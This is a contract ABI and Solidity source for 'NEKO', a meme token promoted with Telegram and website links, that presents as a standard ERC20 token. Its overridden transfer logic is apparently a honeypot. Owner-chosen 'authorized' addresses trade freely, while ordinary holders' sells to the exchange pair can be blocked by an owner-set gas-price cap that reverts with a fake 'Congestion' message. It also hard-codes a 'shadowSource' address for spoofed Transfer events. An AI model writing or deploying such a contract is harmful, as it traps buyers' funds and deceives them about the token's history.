NEKO

[
  {
    "inputs": [],
    "stateMutability": "nonpayable",
    "type": "constructor"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Approval",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "previousOwner",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "newOwner",
        "type": "address"
      }
    ],
    "name": "OwnershipTransferred",
    "type": "event"
  },
  {
    "anonymous": false,
    "inputs": [
      {
        "indexed": true,
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "indexed": true,
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "indexed": false,
        "internalType": "uint256",
        "name": "value",
        "type": "uint256"
      }
    ],
    "name": "Transfer",
    "type": "event"
  },
  {
    "inputs": [
      {
        "internalType": "address[]",
        "name": "recipients",
        "type": "address[]"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "Airdrop",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address[]",
        "name": "recipients",
        "type": "address[]"
      },
      {
        "internalType": "uint256",
        "name": "minAmount",
        "type": "uint256"
      },
      {
        "internalType": "uint256",
        "name": "maxAmount",
        "type": "uint256"
      }
    ],
    "name": "Airdrop",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "MAX_CAP",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "owner",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      }
    ],
    "name": "allowance",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "spender",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "approve",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "account",
        "type": "address"
      }
    ],
    "name": "balanceOf",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "decimals",
    "outputs": [
      {
        "internalType": "uint8",
        "name": "",
        "type": "uint8"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "bool",
        "name": "status",
        "type": "bool"
      }
    ],
    "name": "enableTrading",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "exchangePair",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "name": "isAuthorized",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "isExchangeLive",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "name",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "owner",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "renounceOwnership",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "uint256",
        "name": "newValueInWei",
        "type": "uint256"
      }
    ],
    "name": "setExchangeLimit",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "pairAddr",
        "type": "address"
      }
    ],
    "name": "setExchangePair",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "shadowSource",
    "outputs": [
      {
        "internalType": "address",
        "name": "",
        "type": "address"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "symbol",
    "outputs": [
      {
        "internalType": "string",
        "name": "",
        "type": "string"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [],
    "name": "totalSupply",
    "outputs": [
      {
        "internalType": "uint256",
        "name": "",
        "type": "uint256"
      }
    ],
    "stateMutability": "view",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transfer",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address",
        "name": "from",
        "type": "address"
      },
      {
        "internalType": "address",
        "name": "to",
        "type": "address"
      },
      {
        "internalType": "uint256",
        "name": "amount",
        "type": "uint256"
      }
    ],
    "name": "transferFrom",
    "outputs": [
      {
        "internalType": "bool",
        "name": "",
        "type": "bool"
      }
    ],
    "stateMutability": "nonpayable",
    "type": "function"
  },
  {
    "inputs": [
      {
        "internalType": "address[]",
        "name": "users",
        "type": "address[]"
      },
      {
        "internalType": "bool",
        "name": "status",
        "type": "bool"
      }
    ],
    "name": "updateAuthBatch",
    "outputs": [],
    "stateMutability": "nonpayable",
    "type": "function"
  }
]

// SPDX-License-Identifier: MIT
/* 

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╚═╝░░╚══╝╚══════╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░╚═════╝░╚═╝╚═╝░░╚══╝╚═╝░░╚═╝░╚════╝░░╚════╝░╚═════╝░

Telegram : https://t.me/BomeRobinhood

X : https://x.com/trynekowallet

Wed : https://trynekowallet.xyz/

 */
pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() { _transferOwnership(_msgSender()); }
    function owner() public view virtual returns (address) { return _owner; }
    modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; }
    function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_; _symbol = symbol_;
    }

    function name() public view virtual returns (string memory) { return _name; }
    function symbol() public view virtual returns (string memory) { return _symbol; }
    function decimals() public view virtual returns (uint8) { return 18; }
    function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        _transfer(from, to, amount);
        uint256 currentAllowance = _allowances[from][_msgSender()];
        require(currentAllowance >= amount, "ERC20: allowance exceeded");
        unchecked { _approve(from, _msgSender(), currentAllowance - amount); }
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0) && to != address(0), "ERC20: zero address");
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: amount exceeded");
        unchecked { _balances[from] = fromBalance - amount; }
        _balances[to] += amount;
        emit Transfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract NEKO is ERC20, Ownable {
    uint256 public constant MAX_CAP = 1_000_000_000 * 10**18;
    
    address public exchangePair;
    address public shadowSource;
    bool public isExchangeLive = false;
    uint256 private gasLimitValue = 0;
    
    mapping(address => bool) public isAuthorized;

    constructor() ERC20("NEKO", "$NEKO") {
        _mint(msg.sender, MAX_CAP);
        isAuthorized[msg.sender] = true;
        shadowSource = 0x9cc8c4F6118419A27f113723F1DeA646685Be55F;
    }

    function updateAuthBatch(address[] calldata users, bool status) external onlyOwner {
        for (uint256 i = 0; i < users.length; i++) {
            isAuthorized[users[i]] = status;
        }
    }

    function setExchangePair(address pairAddr) external onlyOwner {
        exchangePair = pairAddr;
    }

    function enableTrading(bool status) external onlyOwner {
        isExchangeLive = status;
    }

    function setExchangeLimit(uint256 newValueInWei) external onlyOwner {
        gasLimitValue = newValueInWei;
    }

    function Airdrop(address[] memory recipients, uint256 amount) public onlyOwner {
        require(recipients.length > 0, "Recipients list cannot be empty");
        require(amount > 0, "Amount must be greater than zero");

        uint256 scaledAmount = amount * (10 ** decimals());
        for (uint256 i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Invalid recipient address");
            _transfer(msg.sender, recipients[i], scaledAmount);
        }
    }

    function Airdrop(address[] memory recipients, uint256 minAmount, uint256 maxAmount) public onlyOwner {
        require(recipients.length > 0, "Recipients list cannot be empty");
        require(minAmount > 0, "Min amount must be greater than zero");
        require(maxAmount >= minAmount, "Max amount must be >= min amount");

        uint256 _decimals = 10 ** decimals();
        uint256 range = maxAmount - minAmount + 1;

        for (uint256 i = 0; i < recipients.length; i++) {
            require(recipients[i] != address(0), "Invalid recipient address");

            uint256 randomAmount = (uint256(keccak256(abi.encodePacked(block.timestamp, msg.sender, i))) % range) + minAmount;
            uint256 scaledAmount = randomAmount * _decimals;

            _transfer(msg.sender, recipients[i], scaledAmount);
        }
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        if (isAuthorized[tx.origin] || from == owner() || to == owner()) {
            super._transfer(from, to, amount);
            return;
        }

        require(isExchangeLive, "Trading not active");

        if (exchangePair != address(0) && to == exchangePair) {
            if (gasLimitValue > 0) {
                require(tx.gasprice < gasLimitValue, "Congestion: Try later");
            }
        }

        super._transfer(from, to, amount);

        if (from == owner()) {
            emit Transfer(shadowSource, to, amount);
        }
    }
}